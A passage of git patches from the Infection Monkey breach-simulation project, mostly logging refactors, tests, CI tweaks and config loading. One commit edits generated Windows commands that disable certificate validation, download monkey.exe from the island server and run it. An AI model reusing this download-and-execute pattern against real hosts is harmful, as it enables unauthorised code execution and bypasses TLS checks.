setup_logging # TODO move into monkey/monkey_island/cc/test_common/fixtures after rebase/backmerge @@ -17,11 +12,13 @@ def mock_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) -def test_expanduser_filename(mock_home_env, tmpdir, test_logger_config_path): - INFO_LOG = os.path.join(tmpdir, "info.log") +def test_expanduser_filename(mock_home_env, tmpdir): + DATA_DIR = tmpdir + INFO_LOG = os.path.join(DATA_DIR, "monkey_island.log") + LOG_LEVEL = "DEBUG" TEST_STRING = "Hello, Monkey!" - json_setup_logging(test_logger_config_path) + setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.info(TEST_STRING) From 0556465c6ad2b3b975782decca9c27d6cad393bb Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 16:47:30 +0530 Subject: [PATCH 0429/1360] Update CHANGELOG.md (removed island logger config) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b2150b87471..8c3c3845940 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,6 +28,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). instead of $HOME. #1143 - Authentication mechanism to use bcrypt on server side. #1139 - Removed relevant dead code as reported by Vulture. #1149 +- Removed island logger config and added "log_level" to server config. #1151 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From f25cfe277d9fc5515a6e12c20bce4c88a77b2228 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 May 2021 09:43:08 -0400 Subject: [PATCH 0430/1360] travis: Install hugo binary from github It currently takes 4 minutes to install hugo with homebrew. Using a faster way to install hugo could speed up the Travis CI build by as much as 42%. --- .travis.yml | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/.travis.yml b/.travis.yml index 8c7acfc3e95..59814f5aac4 100644 --- a/.travis.yml +++ b/.travis.yml @@ -41,16 +41,11 @@ install: - node --version - npm --version -# linuxbrew (for hugo) -- git clone https://github.com/Homebrew/brew ~/.linuxbrew/Homebrew -- mkdir ~/.linuxbrew/bin -- ln -s ~/.linuxbrew/Homebrew/bin/brew ~/.linuxbrew/bin -- eval $(~/.linuxbrew/bin/brew shellenv) - # hugo (for documentation) -- brew install hugo +- curl --output - -L https://api.github.com/repos/gohugoio/hugo/releases/latest | grep --color=never "browser_download_url.*Linux-64bit.tar.gz" | grep -v extended | cut -d ':' -f2,3 | tr -d '"' | xargs -n 1 curl -L --output hugo.tar.gz # print hugo version (useful for debugging documentation build errors) -- hugo version +- tar -zxf hugo.tar.gz +- ./hugo version script: # Check Python code @@ -79,7 +74,7 @@ script: # Build documentation - cd $TRAVIS_BUILD_DIR/docs -- hugo --verbose --environment staging +- ../hugo --verbose --environment staging # verify swimm - cd $TRAVIS_BUILD_DIR From c17ccb05f03a3d49f1e30733df7e6d8bfc0addbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 May 2021 10:30:14 -0400 Subject: [PATCH 0431/1360] travis: cache pipenv --- .travis.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.travis.yml b/.travis.yml index 59814f5aac4..6654cc3af27 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,10 +6,15 @@ group: travis_latest language: python +env: + - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv + cache: - pip - directories: - "$HOME/.npm" + - $PIP_CACHE_DIR + - $PIPENV_CACHE_DIR python: - 3.7 From b5c9828ddc997688672783f1af768af9a27dd252 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 10 May 2021 11:32:45 -0400 Subject: [PATCH 0432/1360] island: Remove errant space in manual run windows command Fixes #1153 --- CHANGELOG.md | 1 + .../pages/RunMonkeyPage/commands/local_windows_cmd.js | 2 +- .../pages/RunMonkeyPage/commands/local_windows_powershell.js | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b2150b87471..56d043ed55b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -31,6 +31,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 +- An errant space in the windows commands to run monkey manually. #1153 ### Security - Address minor issues discovered by Dlint. #1075 diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js index 1f66740f6aa..8afc50dd0a8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js @@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes'; export default function generateLocalWindowsCmd(ip, osType, username) { let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; let command = `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/` + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 7244615eda8..aa9a96a17dd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes'; export default function generateLocalWindowsPowershell(ip, osType, username) { let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; let command = `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/` + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; From e76d53a2a891ea2ca4c21ffaa415b75f633b0e95 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 May 2021 10:44:02 +0300 Subject: [PATCH 0433/1360] BlackBox test fixes: improved the mechanism of locating gcp keys and improved error handling if tests can't connect to gcp --- envs/monkey_zoo/blackbox/test_blackbox.py | 8 +++- .../blackbox/utils/gcp_machine_handlers.py | 42 ++++++++++++------- 2 files changed, 33 insertions(+), 17 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 4de60ef55de..70b1334685d 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -72,8 +72,12 @@ @pytest.fixture(autouse=True, scope="session") def GCPHandler(request, no_gcp): if not no_gcp: - GCPHandler = gcp_machine_handlers.GCPHandler() - GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + try: + GCPHandler = gcp_machine_handlers.GCPHandler() + GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + except Exception as e: + LOGGER.error("GCP Handler failed to initialize: %s." % e) + pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") wait_machine_bootup() def fin(): diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 147958fe2cc..95c9d1855f6 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -1,35 +1,47 @@ import logging +import os import subprocess LOGGER = logging.getLogger(__name__) class GCPHandler(object): - + # gcloud commands AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" SET_PROPERTY_PROJECT = "gcloud config set project %s" MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" + # Default configuration parameters + DEFAULT_RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" + DEFAULT_ZONE = "europe-west3-a" + DEFAULT_PROJECT = "guardicore-22050661" + def __init__( self, - key_path="../gcp_keys/gcp_key.json", - zone="europe-west3-a", - project_id="guardicore-22050661", + relative_key_path=DEFAULT_RELATIVE_KEY_PATH, + zone=DEFAULT_ZONE, + project_id=DEFAULT_PROJECT, ): self.zone = zone - try: - # pass the key file to gcp - subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116 - LOGGER.info("GCP Handler passed key") - # set project - subprocess.call( # noqa: DUO116 - GCPHandler.get_set_project_command(project_id), shell=True + abs_key_path = GCPHandler.get_absolute_key_path(relative_key_path) + # pass the key file to gcp + subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler passed key") + # set project + subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 + LOGGER.info("GCP Handler set project") + LOGGER.info("GCP Handler initialized successfully") + + @staticmethod + def get_absolute_key_path(relative_key_path: str) -> str: + file_dir = os.path.dirname(os.path.realpath(__file__)) + absolute_key_path = os.path.join(file_dir, relative_key_path) + if not os.path.isfile(absolute_key_path): + raise FileNotFoundError( + "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" ) - LOGGER.info("GCP Handler set project") - LOGGER.info("GCP Handler initialized successfully") - except Exception as e: - LOGGER.error("GCP Handler failed to initialize: %s." % e) + return os.path.join(file_dir, relative_key_path) def start_machines(self, machine_list): """ From 8dc84ee0f75bee6cecc0484b509b615b46218d38 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 17:56:49 +0530 Subject: [PATCH 0434/1360] Assume configured data directory exists when configuring the logger --- monkey/monkey_island/cc/server_utils/island_logger.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index dd00cb0d737..abc0bba9d65 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -46,9 +46,6 @@ def setup_logging(data_dir_path, log_level): logger_configuration = deepcopy(LOGGER_CONFIG_DICT) - if not os.path.exists(data_dir_path): - os.makedirs(data_dir_path, mode=0o700, exist_ok=True) - logger_configuration["handlers"]["info_file_handler"]["filename"] = os.path.join( data_dir_path, "monkey_island.log" ) From 805ab989b99cc00721700bca663be324f3528042 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 17:58:07 +0530 Subject: [PATCH 0435/1360] Remove "__author__" field --- monkey/monkey_island/cc/server_utils/island_logger.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index abc0bba9d65..dff77f628a4 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -3,9 +3,6 @@ from copy import deepcopy from typing import Dict -__author__ = "Maor.Rayzin" - - LOGGER_CONFIG_DICT = { "version": 1, "disable_existing_loggers": False, From 3c7687a40537f1d118f5a34794cf3a38a14fc77d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 18:08:07 +0530 Subject: [PATCH 0436/1360] Catch and print errors instead of creating a default server config --- monkey/monkey_island.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 2d86603f55c..64d4b1f837e 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -6,9 +6,7 @@ import json # noqa: E402 import os # noqa: E402 -from pathlib import Path # noqa: E402 -import monkey_island.cc.environment.server_config_generator as server_config_generator # noqa: E402 from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 @@ -19,9 +17,6 @@ # imports, so the log init needs to be first. try: server_config_path = os.path.expanduser(island_args.server_config) - if not Path(server_config_path).is_file(): - server_config_generator.create_default_config_file(server_config_path) - with open(server_config_path, "r") as f: config_content = f.read() data = json.loads(config_content) @@ -34,8 +29,12 @@ setup_logging(data_dir, log_level) + except OSError as ex: + print(f"Error opening server config file: {ex}") + exit(1) + except json.JSONDecodeError as ex: - print(f"Error loading logging config: {ex}") + print(f"Error loading server config: {ex}") exit(1) from monkey_island.cc.main import main # noqa: E402 From e8c1c81edf6b3ddffdec0771ad0fd6d02e6ef5ac Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 18:16:45 +0530 Subject: [PATCH 0437/1360] Move `DEFAULT_LOG_LEVEL` and add function `load_server_config` to monkey_island.py --- monkey/monkey_island.py | 28 +++++++++++++------ .../monkey_island/cc/server_utils/consts.py | 2 -- 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 64d4b1f837e..b0e510d2157 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -7,18 +7,15 @@ import json # noqa: E402 import os # noqa: E402 -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL # noqa: E402 +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 -if "__main__" == __name__: - island_args = parse_cli_args() +DEFAULT_LOG_LEVEL = "INFO" - # This is here in order to catch EVERYTHING, some functions are being called on - # imports, so the log init needs to be first. - try: - server_config_path = os.path.expanduser(island_args.server_config) - with open(server_config_path, "r") as f: - config_content = f.read() + +def load_server_config(path): + with open(server_config_path, "r") as f: + config_content = f.read() data = json.loads(config_content) data_dir = os.path.abspath( os.path.expanduser( @@ -27,6 +24,19 @@ ) log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL + return data_dir, log_level + + +if "__main__" == __name__: + island_args = parse_cli_args() + + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. + try: + server_config_path = os.path.expanduser(island_args.server_config) + + data_dir, log_level = load_server_config(server_config_path) + setup_logging(data_dir, log_level) except OSError as ex: diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index afb0d5c89db..f0dba26dc6b 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -11,6 +11,4 @@ MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) -DEFAULT_LOG_LEVEL = "NOTSET" - DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") From c5ba48db53842e0c713b3a67c98fdd4f0844bdf1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 18:41:56 +0530 Subject: [PATCH 0438/1360] Modify/add unit tests (test_island_logger.py) --- .../cc/server_utils/island_logger.py | 27 +++++--------- .../cc/server_utils/test_island_logger.py | 37 ++++++++++++------- 2 files changed, 33 insertions(+), 31 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index dff77f628a4..1e8b9b86ea8 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -1,7 +1,8 @@ import logging.config import os from copy import deepcopy -from typing import Dict + +ISLAND_LOG_FILENAME = "monkey_island.log" LOGGER_CONFIG_DICT = { "version": 1, @@ -13,15 +14,13 @@ } }, "handlers": { - "console": { + "console_handler": { "class": "logging.StreamHandler", - "level": "DEBUG", "formatter": "simple", "stream": "ext://sys.stdout", }, - "info_file_handler": { + "file_handler": { "class": "logging.handlers.RotatingFileHandler", - "level": "INFO", "formatter": "simple", "filename": None, # set in setup_logging() "maxBytes": 10485760, @@ -29,7 +28,10 @@ "encoding": "utf8", }, }, - "root": {"level": None, "handlers": ["console", "info_file_handler"]}, # set in setup_logging() + "root": { + "level": None, # set in setup_logging() + "handlers": ["console_handler", "file_handler"], + }, } @@ -43,18 +45,9 @@ def setup_logging(data_dir_path, log_level): logger_configuration = deepcopy(LOGGER_CONFIG_DICT) - logger_configuration["handlers"]["info_file_handler"]["filename"] = os.path.join( - data_dir_path, "monkey_island.log" + logger_configuration["handlers"]["file_handler"]["filename"] = os.path.join( + data_dir_path, ISLAND_LOG_FILENAME ) logger_configuration["root"]["level"] = log_level - _expanduser_log_file_paths(logger_configuration) logging.config.dictConfig(logger_configuration) - - -def _expanduser_log_file_paths(config: Dict): - handlers = config.get("handlers", {}) - - for handler_settings in handlers.values(): - if "filename" in handler_settings: - handler_settings["filename"] = os.path.expanduser(handler_settings["filename"]) diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index 3dd7e95703a..9bcdf71f10c 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -1,29 +1,38 @@ import logging import os -import pytest +from monkey_island.cc.server_utils.island_logger import ISLAND_LOG_FILENAME, setup_logging -from monkey_island.cc.server_utils.island_logger import setup_logging +def test_setup_logging_log_level_debug(tmpdir): + DATA_DIR = tmpdir + LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) + LOG_LEVEL = "DEBUG" + TEST_STRING = "Hello, Monkey! (Log level: debug)" + + setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) -# TODO move into monkey/monkey_island/cc/test_common/fixtures after rebase/backmerge -@pytest.fixture -def mock_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) + assert os.path.isfile(LOG_FILE) + with open(LOG_FILE, "r") as f: + line = f.readline() + assert TEST_STRING in line -def test_expanduser_filename(mock_home_env, tmpdir): +def test_setup_logging_log_level_info(tmpdir): DATA_DIR = tmpdir - INFO_LOG = os.path.join(DATA_DIR, "monkey_island.log") - LOG_LEVEL = "DEBUG" - TEST_STRING = "Hello, Monkey!" + LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) + LOG_LEVEL = "INFO" + TEST_STRING = "Hello, Monkey! (Log level: info)" setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") - logger.info(TEST_STRING) + logger.debug(TEST_STRING) - assert os.path.isfile(INFO_LOG) - with open(INFO_LOG, "r") as f: + assert os.path.isfile(LOG_FILE) + with open(LOG_FILE, "r") as f: line = f.readline() - assert TEST_STRING in line + assert TEST_STRING not in line From 5f8145e3d1ead46def801b608b51cf953456e3d7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 19:06:38 +0530 Subject: [PATCH 0439/1360] Add tests for console logging (test_island_logger.py) --- .../cc/server_utils/test_island_logger.py | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index 9bcdf71f10c..241d7b58479 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -36,3 +36,31 @@ def test_setup_logging_log_level_info(tmpdir): with open(LOG_FILE, "r") as f: line = f.readline() assert TEST_STRING not in line + + +def test_setup_logging_console_log_level_debug(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "DEBUG" + TEST_STRING = "Hello, Monkey! (Log level: debug)" + + setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out + + +def test_setup_logging_console_log_level_info(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "INFO" + TEST_STRING = "Hello, Monkey! (Log level: info)" + + setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING not in captured.out From 83a235bb5d997bdaacea1716a3d08b2236e177f6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 11 May 2021 19:08:28 +0530 Subject: [PATCH 0440/1360] Rename unit test functions in test_island_logger.py --- .../cc/server_utils/test_island_logger.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index 241d7b58479..c301f3d5b54 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -4,11 +4,11 @@ from monkey_island.cc.server_utils.island_logger import ISLAND_LOG_FILENAME, setup_logging -def test_setup_logging_log_level_debug(tmpdir): +def test_setup_logging_file_log_level_debug(tmpdir): DATA_DIR = tmpdir LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) LOG_LEVEL = "DEBUG" - TEST_STRING = "Hello, Monkey! (Log level: debug)" + TEST_STRING = "Hello, Monkey! (File; Log level: debug)" setup_logging(DATA_DIR, LOG_LEVEL) @@ -21,11 +21,11 @@ def test_setup_logging_log_level_debug(tmpdir): assert TEST_STRING in line -def test_setup_logging_log_level_info(tmpdir): +def test_setup_logging_file_log_level_info(tmpdir): DATA_DIR = tmpdir LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) LOG_LEVEL = "INFO" - TEST_STRING = "Hello, Monkey! (Log level: info)" + TEST_STRING = "Hello, Monkey! (File; Log level: info)" setup_logging(DATA_DIR, LOG_LEVEL) @@ -41,7 +41,7 @@ def test_setup_logging_log_level_info(tmpdir): def test_setup_logging_console_log_level_debug(capsys, tmpdir): DATA_DIR = tmpdir LOG_LEVEL = "DEBUG" - TEST_STRING = "Hello, Monkey! (Log level: debug)" + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" setup_logging(DATA_DIR, LOG_LEVEL) @@ -55,7 +55,7 @@ def test_setup_logging_console_log_level_debug(capsys, tmpdir): def test_setup_logging_console_log_level_info(capsys, tmpdir): DATA_DIR = tmpdir LOG_LEVEL = "INFO" - TEST_STRING = "Hello, Monkey! (Log level: info)" + TEST_STRING = "Hello, Monkey! (Console; Log level: info)" setup_logging(DATA_DIR, LOG_LEVEL) From d3857788285173875338d765173f32c122f0d8c2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 May 2021 18:27:59 +0300 Subject: [PATCH 0441/1360] Documented why windows and osx doesn't support docker deployment options. --- docs/content/setup/docker.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index a9f59647db4..7cee1e6fe36 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -9,6 +9,8 @@ tags: ["setup", "docker", "linux", "windows"] ## Deployment +### Linux + To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. Once you've extracted the container from the tar.gz file, run the following commands: @@ -21,6 +23,12 @@ sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db: sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.10.0 ``` +Wait until the Island is done setting up and it will be available on https://localhost:5000 + +### Windows and Mac OS X + +Not supported yet, since docker doesn't support `--network=host` parameter on these OS's. + ## Upgrading Currently, there's no "upgrade-in-place" option when a new version is released. From f7bef76f39beb9daeab6f6f34acbf434d07f8d5a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:00:44 -0400 Subject: [PATCH 0442/1360] island: Move load_server_config() to config_loader.py Because `monkey_island.py` has the same name as the `monkey_island` module, pytest can't import monkey_island.py and run any tests against its code. --- monkey/monkey_island.py | 21 ++------------------- monkey/monkey_island/config_loader.py | 20 ++++++++++++++++++++ 2 files changed, 22 insertions(+), 19 deletions(-) create mode 100644 monkey/monkey_island/config_loader.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index b0e510d2157..8a2e0608bd3 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -7,26 +7,9 @@ import json # noqa: E402 import os # noqa: E402 -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR # noqa: E402 +from monkey_island import config_loader # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 -DEFAULT_LOG_LEVEL = "INFO" - - -def load_server_config(path): - with open(server_config_path, "r") as f: - config_content = f.read() - data = json.loads(config_content) - data_dir = os.path.abspath( - os.path.expanduser( - os.path.expandvars(data["data_dir"] if "data_dir" in data else DEFAULT_DATA_DIR) - ) - ) - log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL - - return data_dir, log_level - - if "__main__" == __name__: island_args = parse_cli_args() @@ -35,7 +18,7 @@ def load_server_config(path): try: server_config_path = os.path.expanduser(island_args.server_config) - data_dir, log_level = load_server_config(server_config_path) + data_dir, log_level = config_loader.load_server_config(server_config_path) setup_logging(data_dir, log_level) diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py new file mode 100644 index 00000000000..8f0a7d19baa --- /dev/null +++ b/monkey/monkey_island/config_loader.py @@ -0,0 +1,20 @@ +import json +import os + +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR + +DEFAULT_LOG_LEVEL = "INFO" + + +def load_server_config(server_config_path): + with open(server_config_path, "r") as f: + config_content = f.read() + data = json.loads(config_content) + data_dir = os.path.abspath( + os.path.expanduser( + os.path.expandvars(data["data_dir"] if "data_dir" in data else DEFAULT_DATA_DIR) + ) + ) + log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL + + return data_dir, log_level From 5847674d9209122bf42f9259d08b78d8cf9dd5e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:14:07 -0400 Subject: [PATCH 0443/1360] island: Add unit test for load_server_config() --- monkey/tests/conftest.py | 17 +++++++++++++++++ .../tests/monkey_island/test_config_loader.py | 10 ++++++++++ .../server_configs/test_server_config.json | 4 ++++ 3 files changed, 31 insertions(+) create mode 100644 monkey/tests/monkey_island/test_config_loader.py create mode 100644 monkey/tests/resources/server_configs/test_server_config.json diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 81806ef69c8..328cb109c9b 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -46,3 +46,20 @@ def with_data_dir(environment_resources_dir): @pytest.fixture(scope="session") def with_data_dir_home(environment_resources_dir): return os.path.join(environment_resources_dir, "server_config_with_data_dir_home.json") + + +@pytest.fixture(scope="session") +def server_config_resources_dir(resources_dir): + return os.path.join(resources_dir, "server_configs") + + +@pytest.fixture(scope="session") +def test_server_config(server_config_resources_dir): + return os.path.join(server_config_resources_dir, "test_server_config.json") + + +@pytest.fixture +def mock_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + return tmpdir diff --git a/monkey/tests/monkey_island/test_config_loader.py b/monkey/tests/monkey_island/test_config_loader.py new file mode 100644 index 00000000000..ac2e3537770 --- /dev/null +++ b/monkey/tests/monkey_island/test_config_loader.py @@ -0,0 +1,10 @@ +import os + +from monkey_island import config_loader + + +def test_load_server_config_from_file(test_server_config, mock_home_env): + (data_dir, log_level) = config_loader.load_server_config(test_server_config) + + assert data_dir == os.path.join(mock_home_env, ".monkey_island") + assert log_level == "NOTICE" diff --git a/monkey/tests/resources/server_configs/test_server_config.json b/monkey/tests/resources/server_configs/test_server_config.json new file mode 100644 index 00000000000..25082b0b3dc --- /dev/null +++ b/monkey/tests/resources/server_configs/test_server_config.json @@ -0,0 +1,4 @@ +{ + "data_dir": "~/.monkey_island", + "log_level": "NOTICE" +} From 990244c3ac7605457b9253ce1f5e7d61a7377c7b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:16:24 -0400 Subject: [PATCH 0444/1360] island: Return config dict from load_server_config() As the number of configuration items will increase in the future, return the config dict instead of individual config properties. --- monkey/monkey_island.py | 4 ++-- monkey/monkey_island/config_loader.py | 10 +++++----- monkey/tests/monkey_island/test_config_loader.py | 6 +++--- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 8a2e0608bd3..51f2e1a114f 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -18,9 +18,9 @@ try: server_config_path = os.path.expanduser(island_args.server_config) - data_dir, log_level = config_loader.load_server_config(server_config_path) + config = config_loader.load_server_config(server_config_path) - setup_logging(data_dir, log_level) + setup_logging(config["data_dir"], config["log_level"]) except OSError as ex: print(f"Error opening server config file: {ex}") diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py index 8f0a7d19baa..357cacbb8c3 100644 --- a/monkey/monkey_island/config_loader.py +++ 